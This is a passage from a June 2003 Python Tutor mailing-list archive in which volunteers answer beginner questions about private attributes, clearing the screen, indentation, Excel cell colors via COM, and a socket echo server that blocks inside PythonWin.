Date: Wed Jun  4 09:46:02 2003
Subject: [Tutor] inheriting private variables...
References: <00dc01c32a78$7dfa3ea0$da19a8c0@slu.edu.ph>
Message-ID: <00cf01c32a9f$8e3fac10$6401a8c0@xp>

> and call the inherited method get_prv_var... like so...
>
> print x.get_prv_var()
>
> this will result to an error message... saying that _a__prv_var 
> is not defined...

It works OK for me:

>>> class A:
...    def __init__(s): s.__priv = 42
...    def getPriv(s): return s.__priv
...
>>> class B(A): pass
...
>>> b = B()
>>> b
<__main__.B instance at 0xa0d1d60>
>>> dir(b)
['_A__priv', '__doc__', '__init__', '__module__', 'getPriv']
>>> b.__priv
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: B instance has no attribute '__priv'
>>> b.getPriv()
42
>>>

Alan G




From alan.gauld@blueyonder.co.uk  Wed Jun  4 10:53:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Wed Jun  4 09:53:01 2003
Subject: [Tutor] newbie programmer
References: <200306031701.AA9437412@mail.ev1.net> <005201c32a21$9b079a80$6401a8c0@xp> <002b01c32a50$be274220$7e00a8c0@ktdlaptop> <004301c32a5c$c3e61720$7e00a8c0@ktdlaptop> <1054729379.2498.4.camel@24-159-242-7.jvl.wi.charter.com>
Message-ID: <00de01c32aa0$95afdb90$6401a8c0@xp>

Anticipating a FAQ before it comes :-)

How to clear the screen?

Several ways:

Either print lots of newlines

print '\n' * 50

OR

use the operating system command:

os.system('CLS)  # DOS or
os.system('clear')  # Unix

Or be very clever and send the appropriate terminal control
codes (ANSI for DOS, VT100 for Xterms on Unix)


Alan G.

----- Original Message -----
From: "Mike Wagman" <mwagman@charter.net>
To: <tutor@python.org>
Sent: Wednesday, June 04, 2003 1:22 PM
Subject: Re: [Tutor] newbie programmer


> Off the top of my head as one relative newbie to another I would
reprint
> the entire menu everytime an option was chosen, and see if there
were a
> way to clear the screen. Don't know if it will work - do know
> interactive python is a great way to "play with code"
>



From magnus@thinkware.se  Wed Jun  4 11:11:11 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun  4 10:11:11 2003
Subject: [Tutor] subscript problem
In-Reply-To: <Sea1-F29sqMaSORH9HW00049d71@hotmail.com>
Message-ID: <5.2.1.1.0.20030604155849.01ecd560@www.thinkware.se>

At 16:50 2003-06-04 +0530, Jimmy verma wrote:
>I am having some curves,  whose points i am trying to store with Vec and AB.

Wouldn't it be simpler to just do:

curve = [(x0, y0), (x1, y1), ... (xn, yn)]

It's common to simply use a tuple in Python where structs are
used in other languages. Or use complex numbers if you don't like
to access with [0] for x coordinate and [1] for y coordinate.

 >>> coord0 = complex(1.123, 4.5)
 >>> coord0.real
1.123
 >>> coord0.imag
4.5

Then you have the arithetic you need if you for instance want to
see the difference between to coords.

 >>> coord1 = complex(1.623, 5.5)
 >>> diff = coord1-coord0
 >>> diff.real
0.5
 >>> diff.imag
1.0



--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Wed Jun  4 11:18:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun  4 10:18:01 2003
Subject: [Tutor] newbie programmer
In-Reply-To: <1054729379.2498.4.camel@24-159-242-7.jvl.wi.charter.com>
References: <004301c32a5c$c3e61720$7e00a8c0@ktdlaptop>
 <200306031701.AA9437412@mail.ev1.net>
 <005201c32a21$9b079a80$6401a8c0@xp>
 <002b01c32a50$be274220$7e00a8c0@ktdlaptop>
 <004301c32a5c$c3e61720$7e00a8c0@ktdlaptop>
Message-ID: <5.2.1.1.0.20030604161454.01f29568@www.thinkware.se>

At 07:22 2003-06-04 -0500, Mike Wagman wrote:
>and see if there were a way to clear the screen.

I think we've been down that track before. There
is no platform independent way to clear screens
at least, so it's not directly supported in python
through any builtin function.

Easiest in a DOS-box is probably "os.system('CLS')"


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From willblake@wanadoo.fr  Wed Jun  4 11:37:02 2003
From: willblake@wanadoo.fr (Guillaume)
Date: Wed Jun  4 10:37:02 2003
Subject: [Tutor] Indentation
Message-ID: <NBEHJBEKFMHNFJKOHIOAEEONCIAA.willblake@wanadoo.fr>

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0000_01C32AB7.EB907300
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi 
I don't understand what's the meaning
of this word and his roll in a prog: what does 
indentation bring to a prog?
Thanx :) 

------=_NextPart_000_0000_01C32AB7.EB907300
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.100" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D030243614-04062003>Hi=20
</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D030243614-04062003>I =
don't understand=20
what's the meaning</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D030243614-04062003>of =
this word and=20
his roll in a prog: what does&nbsp;</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN=20
class=3D030243614-04062003>indentation&nbsp;bring to a =
prog?</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D030243614-04062003>Thanx=20
:)</SPAN></FONT><FONT face=3D"Arial Narrow"><SPAN=20
class=3D030243614-04062003>&nbsp;</SPAN></FONT></DIV></BODY></HTML>

------=_NextPart_000_0000_01C32AB7.EB907300--



From hodge3@llnl.gov  Wed Jun  4 11:59:14 2003
From: hodge3@llnl.gov (Neil Hodge)
Date: Wed Jun  4 10:59:14 2003
Subject: [Tutor] /usr/bin/env problem
In-Reply-To: <3EDD2D51.6030704@venix.com>
References: <3EDD1FC2.9060704@llnl.gov> <3EDD2D51.6030704@venix.com>
Message-ID: <3EDE08EE.8040109@llnl.gov>

Neil, Lloyd:

Lloyd Kvam wrote:
> If you move files between unix and windows the line marks could be mangled.
> 
> I suspect that your problem file has cr/lf  (\r\n) characters marking the
> lines.  Change the lines to end with lf (\n) only and you should be OK.
> 

I forgot to mention that the "broken" file was created in cygwin.  It it 
unix (mostly), so I forget about the goofy windoze stuff sometimes.  Thanks.

Neil



From gerrit@nl.linux.org  Wed Jun  4 12:03:02 2003
From: gerrit@nl.linux.org (Gerrit Holl)
Date: Wed Jun  4 11:03:02 2003
Subject: Clearing the screen (Was: Re: [Tutor] newbie programmer)
In-Reply-To: <00de01c32aa0$95afdb90$6401a8c0@xp>
References: <200306031701.AA9437412@mail.ev1.net> <005201c32a21$9b079a80$6401a8c0@xp> <002b01c32a50$be274220$7e00a8c0@ktdlaptop> <004301c32a5c$c3e61720$7e00a8c0@ktdlaptop> <1054729379.2498.4.camel@24-159-242-7.jvl.wi.charter.com> <00de01c32aa0$95afdb90$6401a8c0@xp>
Message-ID: <20030604150228.GA2573@nl.linux.org>

Alan Gauld schreef op woensdag  4 juni om 15:53:22 +0000:
> print '\n' * 50

Make that:

print os.linesep * 50

> Or be very clever and send the appropriate terminal control
> codes (ANSI for DOS, VT100 for Xterms on Unix)

Of course, Python could be able to do this: first find out
platfrom information, then terminal information, than clear
the screen.

yours,
Gerrit.

-- 
189. If he has not taught him his craft, this adopted son may return to
his father's house.
        -- 1780 BC, Hammurabi, Code of Law
--
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/


From bgailer@alum.rpi.edu  Wed Jun  4 12:21:18 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Wed Jun  4 11:21:18 2003
Subject: [Tutor] Resetting the environment
In-Reply-To: <20030603034458.GA6845@glacier.arctrix.com>
References: <qrpndvs25kkq6j1dppbisrkb6grm5mka0t@4ax.com>
 <qrpndvs25kkq6j1dppbisrkb6grm5mka0t@4ax.com>
Message-ID: <5.2.0.9.0.20030604091113.02f29728@66.28.54.253>

At 08:44 PM 6/2/2003 -0700, Neil Schemenauer wrote:

>Tom Plunket wrote:
> > I'd basically like to undefine everything and unload all of the
> > modules.
>
>Restarting would be the easiest.  It would be possible to write a
>function that clears all modules (I think) but it would be a non-trivial
>amount of work and it's not a standard thing.

If you really want to do this, read the manual on how import works, and 
consider (untested):

1 - when you start the interpreter:

import sys
preloads = sys.modules.keys() # modules that are part of the "system" and 
should not be deleted

2 - when you want to clean up

for name in sys.modules.keys():
   if name not in preloads: # a module that was imported after startup
     del sys.modules[name] # remove reference from sys.modules
     try: eval(name + ' = None') # remove module name from namespace
     except: pass

Note that this will NOT affect names created by from xxx import .... You'd 
have to delete them explicitly

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625



From rhseabrook@aacc.edu  Wed Jun  4 12:27:15 2003
From: rhseabrook@aacc.edu (Seabrook, Richard)
Date: Wed Jun  4 11:27:15 2003
Subject: FW: [Tutor] Indentation
Message-ID: <74DAD2F23F03F7438D9BE3436C6846F70129073A@AACC-MAIL.aacc.cc.md.us>


-----Original Message-----
From:	Guillaume [mailto:willblake@wanadoo.fr]
Sent:	Wed 6/4/2003 10:39 AM
To:	tutor@python.org
Cc:=09
Subject:	[Tutor] Indentation
Hi=20
I don't understand what's the meaning
of this word and his roll in a prog: what does=20
indentation bring to a prog?
Thanx :)=20


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Block-structured programming languages have been important
since the 70s (actually the 60s if you want to go back to
COBOL and Algol), including C, Pascal and many others,
and more recently scripting languages like Perl and Python.
A block is a set of statements executed together, like a
paragraph in text or a clause in a contract.
Most block-structured languages set off blocks with special
symbols like { }, [ ], ( ), or special words like BEGIN ... END.
Python sets off its blocks by indentation -- all the adjacent
statements at the same distance from the left margin (using blanks)
are part of the same block.
Dick S.




From janos.juhasz@VELUX.com  Wed Jun  4 12:42:02 2003
From: janos.juhasz@VELUX.com (janos.juhasz@VELUX.com)
Date: Wed Jun  4 11:42:02 2003
Subject: [Tutor] CellColor in excel
Message-ID: <OFD0C29C85.FBBF3A62-ONC1256D3B.0055371F@velux.com>

Hy All,

can someone show me, how the backgroud color of a cell in MS Excel can =
be
set to RED.

I copied a simple module from the book  'Programming on win32', written=
 by
Mark Hammond & Andy Robinson. It is a very nice and usefull book.

import win32com.client

class easyExcel:
      def __init__(self, filename=3DNone):
            """Megnyitja az excel f=E1jlt."""
            self.xlApp =3D win32com.client.Dispatch('Excel.Application'=
)
            self.filename =3D filename
            self.xlBook =3D self.xlApp.Workbooks.Open(filename)

      def save(self, newfilename=3DNone):
            if filename:
                  self.filename =3D newfilename
                  self.xlApp.SaveAs(self.filename)
            else:
                  self.xlApp.Save()

      def close(self):
            self.xlBook.Close(SaveChanges=3D0)
            del self.xlApp

      def GetCell(self, sheet, row, col):
            sht =3D self.xlApp.WorkSheets(sheet)
            return sht.Cells(row, col).Value


      def SetRed(self, sheet, row, col):
            sht =3D self.xlApp.WorkSheets(sheet)
            sht.Cells(row, col).ColorIndex =3D 3

But the SetRed function wouldn't like to work :(
I know I had seen example for this, but I did't know where.

Best regards,
-----------------------
Juh=E1sz J=E1nos
IT department

VELUX Magyarorsz=E1g
Fert=F5di =C9p=EDt=F5komponens Kft.
Fert=F5d Malom k=F6z 1.
Phone: +36 99 537 939
Fax: +36 99 537 921
E-Mail: janos.juhasz@VELUX.com
=




From adamg@mailbox.hu  Wed Jun  4 12:58:02 2003
From: adamg@mailbox.hu (Adam Groszer)
Date: Wed Jun  4 11:58:02 2003
Subject: [Tutor] CellColor in excel
In-Reply-To: <OFD0C29C85.FBBF3A62-ONC1256D3B.0055371F@velux.com>
Message-ID: <OHEMKMKIIGBDIMMKJNIJCEMPCJAA.adamg@mailbox.hu>

>From VBA it works like this:

Worksheets("Sheet1").Cells(10, 10).Interior.ColorIndex =3D 3

(just checked)

Adam

-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
janos.juhasz@VELUX.com
Sent: Wednesday, 2003 June 04. 5:42 PM
To: tutor@python.org
Subject: [Tutor] CellColor in excel


Hy All,

can someone show me, how the backgroud color of a cell in MS Excel can be
set to RED.

I copied a simple module from the book  'Programming on win32', written b=
y
Mark Hammond & Andy Robinson. It is a very nice and usefull book.

import win32com.client

class easyExcel:
      def __init__(self, filename=3DNone):
            """Megnyitja az excel f=E1jlt."""
            self.xlApp =3D win32com.client.Dispatch('Excel.Application')
            self.filename =3D filename
            self.xlBook =3D self.xlApp.Workbooks.Open(filename)

      def save(self, newfilename=3DNone):
            if filename:
                  self.filename =3D newfilename
                  self.xlApp.SaveAs(self.filename)
            else:
                  self.xlApp.Save()

      def close(self):
            self.xlBook.Close(SaveChanges=3D0)
            del self.xlApp

      def GetCell(self, sheet, row, col):
            sht =3D self.xlApp.WorkSheets(sheet)
            return sht.Cells(row, col).Value


      def SetRed(self, sheet, row, col):
            sht =3D self.xlApp.WorkSheets(sheet)
            sht.Cells(row, col).ColorIndex =3D 3

But the SetRed function wouldn't like to work :(
I know I had seen example for this, but I did't know where.

Best regards,
-----------------------
Juh=E1sz J=E1nos
IT department

VELUX Magyarorsz=E1g
Fert=F5di =C9p=EDt=F5komponens Kft.
Fert=F5d Malom k=F6z 1.
Phone: +36 99 537 939
Fax: +36 99 537 921
E-Mail: janos.juhasz@VELUX.com



_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From bgailer@alum.rpi.edu  Wed Jun  4 13:41:16 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Wed Jun  4 12:41:16 2003
Subject: [Tutor] Indentation
In-Reply-To: <NBEHJBEKFMHNFJKOHIOAEEONCIAA.willblake@wanadoo.fr>
Message-ID: <5.2.0.9.0.20030604101220.02fb4888@66.28.54.253>

--=====================_7799775==.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 04:39 PM 6/4/2003 +0200, Guillaume wrote:
>I don't understand what's the meaning of this word and his roll in a prog: 
>what does
>indentation bring to a prog?

roll? did you mean role?

"Indent" means to provide some spaces on the left of a line. Why? Certain 
python statements (called Compound Statements in the langref) control the 
execution of 1 or more subsequent statements:

for i in range(3):
   print i

i = 0
while i < 3:
   i += 1
   print i
print 'Done'

if i > 3:
   print 'yes'
   a = 4
else:
   print 'no'
   a = 5

also applies to try-except; try-finally; def and class

To tell the interpreter that statements are under control of a Compound 
Statement one indents them. Thus in the while example above i += 1 and 
print i are indented two spaces, showing that they are to be repeated while 
i < 3. The only rule is that indentation must be consistent within a set of 
statements. Thus

if i > 3:
   print 'yes'
   a = 4
else:
     print 'no'
     a = 5

is acceptable, whereas

if i > 3:
   print 'yes'
     a = 4
else:
   print 'no'
     a = 5

is not.


Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=====================_7799775==.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<body>
At 04:39 PM 6/4/2003 +0200, Guillaume wrote:<br>
<blockquote type=cite class=cite cite><font face="Arial Narrow, Helvetica">I
don't understand what's the meaning of this word and his roll in a prog:
what does </font><br>
<font face="Arial Narrow, Helvetica">indentation bring to a
prog?</font></blockquote><br>
roll? did you mean role?<br><br>
&quot;Indent&quot; means to provide some spaces on the left of a line.
Why? Certain python statements (called Compound Statements in the
langref) control the execution of 1 or more subsequent
statements:<br><br>
for i in range(3):<br>
&nbsp; print i<br><br>
i = 0<br>
while i &lt; 3:<br>
&nbsp; i += 1<br>
&nbsp; print i<br>
print 'Done'<br><br>
if i &gt; 3:<br>
&nbsp; print 'yes'<br>
&nbsp; a = 4<br>
else:<br>
&nbsp; print 'no'<br>
&nbsp; a = 5<br><br>
also applies to try-except; try-finally; def and class<br><br>
To tell the interpreter that statements are under control of a Compound
Statement one indents them. Thus in the while example above i += 1 and
print i are indented two spaces, showing that they are to be repeated
while i &lt; 3. The only rule is that indentation must be consistent
within a set of statements. Thus<br><br>
if i &gt; 3:<br>
&nbsp; print 'yes'<br>
&nbsp; a = 4<br>
else:<br>
&nbsp;&nbsp;&nbsp; print 'no'<br>
&nbsp;&nbsp;&nbsp; a = 5<br><br>
is acceptable, whereas<br><br>
if i &gt; 3:<br>
&nbsp; print 'yes'<br>
&nbsp;&nbsp;&nbsp; a = 4<br>
else:<br>
&nbsp; print 'no'<br>
&nbsp;&nbsp;&nbsp; a = 5<br><br>
is not.<br><br>
<x-sigsep><p></x-sigsep>
Bob Gailer<br>
bgailer@alum.rpi.edu<br>
303 442 2625<br>
</body>
</html>

--=====================_7799775==.ALT--



From lobow@brturbo.com  Wed Jun  4 14:46:04 2003
From: lobow@brturbo.com (Diego Galho Prestes)
Date: Wed Jun  4 13:46:04 2003
Subject: [Tutor] using variables from other classes
Message-ID: <3EDE3097.3010706@brturbo.com>

Hi!!

I need to use a variable from other class in my program. How can I do 
this? Could it be with a global var? If yes, how I use it, I tried but 
it doesnt works.

Diego



From fallen@leveltwo.com  Wed Jun  4 15:01:15 2003
From: fallen@leveltwo.com (Fred Allen)
Date: Wed Jun  4 14:01:15 2003
Subject: [Tutor] Socket module woes.
Message-ID: <4BB02C541824D311921600902765DB7B07919A22@LTISERVER>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------ =_NextPart_001_01C32AC3.C1035EDE
Content-Type: text/plain

Dear Sirs and Mesdames:

I'm attempting to familiarize myself with Python's low-level socket
module.  The module's socket class seems to me the quintessence of
clarity.  Nonetheless, I've been unable to make the simple "Echo Server
Program," appearing in section 7.2.2 of the Python Library Reference,
work. 

I've replicated it as carefully as possible (for me, in early dotage).
Still, when I initiate its execution, it "hangs."  Upon trying to close
my development application (PythonWin 2.2.2, # 27, 11/26/02 on Windows
2000 Pro), W2K presents a dialog box informing me that the program is
"not responding."   I'm surely doing something causative in ignorance.
The code appears below:

# Echo server program
from socket import *
HOST = ''                       # Symbolic name meaning the local host
PORT = 50007                    # Arbitrary non-privileged server
s = socket(AF_INET, SOCK_STREAM)
s.bind((HOST, PORT))  # Altered to provide "socket.bind" method's
expected tuple--FA.
s.listen(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
    data = conn.recv(1024)
    if not data: break
    conn.send(data)
conn.close()

I've identified the offending statement.  By interactively entering each
statement in sequence, as follows, the system hangs when I <Enter> the
"accept" method call.  I understand, of course, that the accept method
is intended to suspend its program's activity whilst awaiting a
connection attempt.  But, the way I've done it, it suspends not only its
own program, but the entire development environment, so I cannot
initiate the client's execution. 

    >>> from socket import *
    >>> HOST = ''
    >>> PORT = 50007
    >>> s = socket(AF_INET,SOCK_STREAM)
    >>> s.bind((HOST, PORT))
    >>> s.listen(1)
    >>> conn, addr = s.accept()

I would not trouble you, had I spent fewer hours trying everything
sensible, and some things not so.  I would be most grateful for any
light that any among you might shed upon my problem.  With thanks in
advance, I am,

Gratefully,

Fred Allen


------ =_NextPart_001_01C32AC3.C1035EDE
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DUS-ASCII">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.1960.3">
<TITLE>Socket module woes.</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Dear Sirs and Mesdames:</FONT>
</P>

<P><FONT SIZE=3D2>I'm attempting to familiarize myself with Python's =
low-level socket</FONT>
<BR><FONT SIZE=3D2>module.&nbsp; The module's socket class seems to me =
the quintessence of</FONT>
<BR><FONT SIZE=3D2>clarity.&nbsp; Nonetheless, I've been unable to make =
the simple &quot;Echo Server</FONT>
<BR><FONT SIZE=3D2>Program,&quot; appearing in section 7.2.2 of the =
Python Library Reference,</FONT>
<BR><FONT SIZE=3D2>work. </FONT>
</P>

<P><FONT SIZE=3D2>I've replicated it as carefully as possible (for me, =
in early dotage).</FONT>
<BR><FONT SIZE=3D2>Still, when I initiate its execution, it =
&quot;hangs.&quot;&nbsp; Upon trying to close</FONT>
<BR><FONT SIZE=3D2>my development application (PythonWin 2.2.2, # 27, =
11/26/02 on Windows</FONT>
<BR><FONT SIZE=3D2>2000 Pro), W2K presents a dialog box informing me =
that the program is</FONT>
<BR><FONT SIZE=3D2>&quot;not responding.&quot;&nbsp;&nbsp; I'm surely =
doing something causative in ignorance.</FONT>
<BR><FONT SIZE=3D2>The code appears below:</FONT>
</P>

<P><FONT SIZE=3D2># Echo server program</FONT>
<BR><FONT SIZE=3D2>from socket import *</FONT>
<BR><FONT SIZE=3D2>HOST =3D =
''&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # =
Symbolic name meaning the local host</FONT>
<BR><FONT SIZE=3D2>PORT =3D =
50007&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Arbitrary =
non-privileged server</FONT>
<BR><FONT SIZE=3D2>s =3D socket(AF_INET, SOCK_STREAM)</FONT>
<BR><FONT SIZE=3D2>s.bind((HOST, PORT))&nbsp; # Altered to provide =
&quot;socket.bind&quot; method's expected tuple--FA.</FONT>
<BR><FONT SIZE=3D2>s.listen(1)</FONT>
<BR><FONT SIZE=3D2>conn, addr =3D s.accept()</FONT>
<BR><FONT SIZE=3D2>print 'Connected by', addr</FONT>
<BR><FONT SIZE=3D2>while 1:</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; data =3D conn.recv(1024)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; if not data: break</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; conn.send(data)</FONT>
<BR><FONT SIZE=3D2>conn.close()</FONT>
</P>

<P><FONT SIZE=3D2>I've identified the offending statement.&nbsp; By =
interactively entering each</FONT>
<BR><FONT SIZE=3D2>statement in sequence, as follows, the system hangs =
when I &lt;Enter&gt; the</FONT>
<BR><FONT SIZE=3D2>&quot;accept&quot; method call.&nbsp; I understand, =
of course, that the accept method</FONT>
<BR><FONT SIZE=3D2>is intended to suspend its program's activity whilst =
awaiting a</FONT>
<BR><FONT SIZE=3D2>connection attempt.&nbsp; But, the way I've done it, =
it suspends not only its</FONT>
<BR><FONT SIZE=3D2>own program, but the entire development environment, =
so I cannot</FONT>
<BR><FONT SIZE=3D2>initiate the client's execution. </FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; &gt;&gt;&gt; from socket import =
*</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; &gt;&gt;&gt; HOST =3D ''</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; &gt;&gt;&gt; PORT =3D =
50007</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; &gt;&gt;&gt; s =3D =
socket(AF_INET,SOCK_STREAM)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; &gt;&gt;&gt; s.bind((HOST, =
PORT))</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; &gt;&gt;&gt; s.listen(1)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp; &gt;&gt;&gt; conn, addr =3D =
s.accept()</FONT>
</P>

<P><FONT SIZE=3D2>I would not trouble you, had I spent fewer hours =
trying everything</FONT>
<BR><FONT SIZE=3D2>sensible, and some things not so.&nbsp; I would be =
most grateful for any</FONT>
<BR><FONT SIZE=3D2>light that any among you might shed upon my =
problem.&nbsp; With thanks in</FONT>
<BR><FONT SIZE=3D2>advance, I am,</FONT>
</P>

<P><FONT SIZE=3D2>Gratefully,</FONT>
</P>

<P><FONT SIZE=3D2>Fred Allen</FONT>
</P>

</BODY>
</HTML>
------ =_NextPart_001_01C32AC3.C1035EDE--


From jeff@ccvcorp.com  Wed Jun  4 15:40:19 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Wed Jun  4 14:40:19 2003
Subject: [Tutor] Socket module woes.
References: <4BB02C541824D311921600902765DB7B07919A22@LTISERVER>
Message-ID: <3EDE3C63.8010009@ccvcorp.com>

Fred Allen wrote:

> I've identified the offending statement.  By interactively entering each
> statement in sequence, as follows, the system hangs when I <Enter> the
> "accept" method call.  I understand, of course, that the accept method
> is intended to suspend its program's activity whilst awaiting a
> connection attempt.  But, the way I've done it, it suspends not only its
> own program, but the entire development environment, so I cannot
> initiate the client's execution.
>

You're running this from within IDLE/PythonWin, yes?  All of these will 
run your code in the same process as the interpreter itself, so when the 
process is waiting for a connection, that means that nothing else can 
happen in that process.  Try saving that same set of commands to a file 
('mysocket.py' or some such), and then run that file from a separate 
DOS/shell window ('python mysocket.py').  That window will then be 
paused waiting for a connection, but your IDE will be free to continue 
operating.  (You could have a similar effect by putting the socketserver 
into a separate thread, but that's a bit more complicated to arrange.)

Jeff Shannon
Technician/Programmer
Credit International




From tireseas@onetel.com  Wed Jun  4 15:56:15 2003
From: tireseas@onetel.com (Tireseas)
Date: Wed Jun  4 14:56:15 2003
Subject: [Tutor] Query re: IDLE & Slackware 9.0
In-Reply-To: <20030604122001.5543.42094.Mailman@mail.python.org>
References: <20030604122001.5543.42094.Mailman@mail.python.org>
Message-ID: <200306041953.17867.tireseas@onetel.com>

Todd and Rob

Thanks for confirming this for me. I wasn't sure whether it was just my system 
or not. I might well try Kate (altho' like Joe). I guess that I was just used 
to using Idle with other distros, and so it was familiar. I suppose I could 
always learn the Emacs way, which I know several folk here swear by. Sheesh - 
learn a program so I can learn a language to learn to program ... hmmm. Not 
very energy efficient for a brain that doesn't have too much juice at the 
best of times.

Thanks anyway.
T

> Message: 1
> Date: Tue, 3 Jun 2003 20:12:38 -0500
> From: Rob McGee <i812@softhome.net>
> To: tutor@python.org
> Cc: volkerdi@slackware.com
> Subject: Re: [Tutor] Query re: IDLE & Slackware 9.0
>
> On Tue, Jun 03, 2003 at 08:33:42PM -0400, Todd Stephens wrote:
> > > I am wanting to use Idle on Slackware 9.0 but cannot seem to call it up
> > > using the command line, and there aren't any menu items for it. Nor can
> > > I seem to find it buried within the Python directory. I was under the
> >
> > Looks to me like the default python installation in Slack 9 leaves it
> > out.  A quick 'locate idle' turns up only the following:
> >
> > /usr/doc/python-2.2.2/html/lib/idle.html
> >
> > I can't find anything in /usr/lib/python2.2/ either.
>
> Correct. I found this issue in Slackware 8.0 too, but I forgot to ask
> Pat (Slackware maintainer) about it. Now that you've reminded me, I'm
> CC'ing this to him.
>
> Pat, the "Tools" directory in the top-level of the Python source tarball
> contains some goodies which would be nice to have ... they're not copied
> over in the "make install".
>
> Thanks,
>     Rob - /dev/rob0
>
>
> Message: 3
> From: Todd Stephens <tbstep@tampabay.rr.com>
> To: tutor@python.org
> Subject: Re: [Tutor] Query re: IDLE & Slackware 9.0
> Date: Tue, 3 Jun 2003 22:34:50 -0400
>
> On Tuesday 03 June 2003 09:12 pm, Rob McGee wrote:
> > Pat, the "Tools" directory in the top-level of the Python source tarball
> > contains some goodies which would be nice to have ... they're not copied
> > over in the "make install".
>
> I will say that I don't really miss Idle.  I have found that the KDE editor
> Kate works great as I can write the code, save it, and then execute it from
> the integrated console window to test it and I don't even have to change
> open windows.
>
> Sorry for the OT posts fellows.  I'll stop now as this list is very high
> traffic as it is.
>
> --
> Todd Stephens
>

-- 
###########################
# Reg. Linux User: 313143 #
###########################


From bbbbosox@mtneer.net  Wed Jun  4 15:58:03 2003
From: bbbbosox@mtneer.net (Dirigo)
Date: Wed Jun  4 14:58:03 2003
Subject: [Tutor] newbie programmer
References: <200306031701.AA9437412@mail.ev1.net> <005201c32a21$9b079a80$6401a8c0@xp> <002b01c32a50$be274220$7e00a8c0@ktdlaptop> <004301c32a5c$c3e61720$7e00a8c0@ktdlaptop> <1054729379.2498.4.camel@24-159-242-7.jvl.wi.charter.com> <00de01c32aa0$95afdb90$6401a8c0@xp>
Message-ID: <001301c32aca$fa6836c0$c47dfea9@client>

Please see comments/questions (enclosed within "***" 's) inserted in
text below.

Thanks in advance.

------------------- Original Message (sort of -------------------

Alan Gauld <alan.gauld@blueyonder.co.uk>
on Wednesday, June 04, 2003 9:52 AM
wrote:


"Anticipating a FAQ before it comes :-)

How to clear the screen?

Several ways:

Either print lots of newlines

print '\n' * 50

*** Worked great within the Python command line window - Win 98SE OS
(yes, Magnus ... I'm trying to get a copy of Win2K and/or XP - I read
your recommendation in earlier message ;>))  ***

OR

use the operating system command:

os.system('CLS)  # DOS

*** Tried this within the Python command line window and got error
message which read  "NameError:  name 'os' is not defined".   I tried
both os.system('CLS') and os.system("CLS") and got the same results.
Also, simply tried "CLS" (as one would in a regular MS-DOS prompt
window) and it also was a no-go.  Got error message "CLS" not defined.
So ... I guess this begs the question "For this particular command to
work, do the Hammond Win extensions need to be installed?"  I still
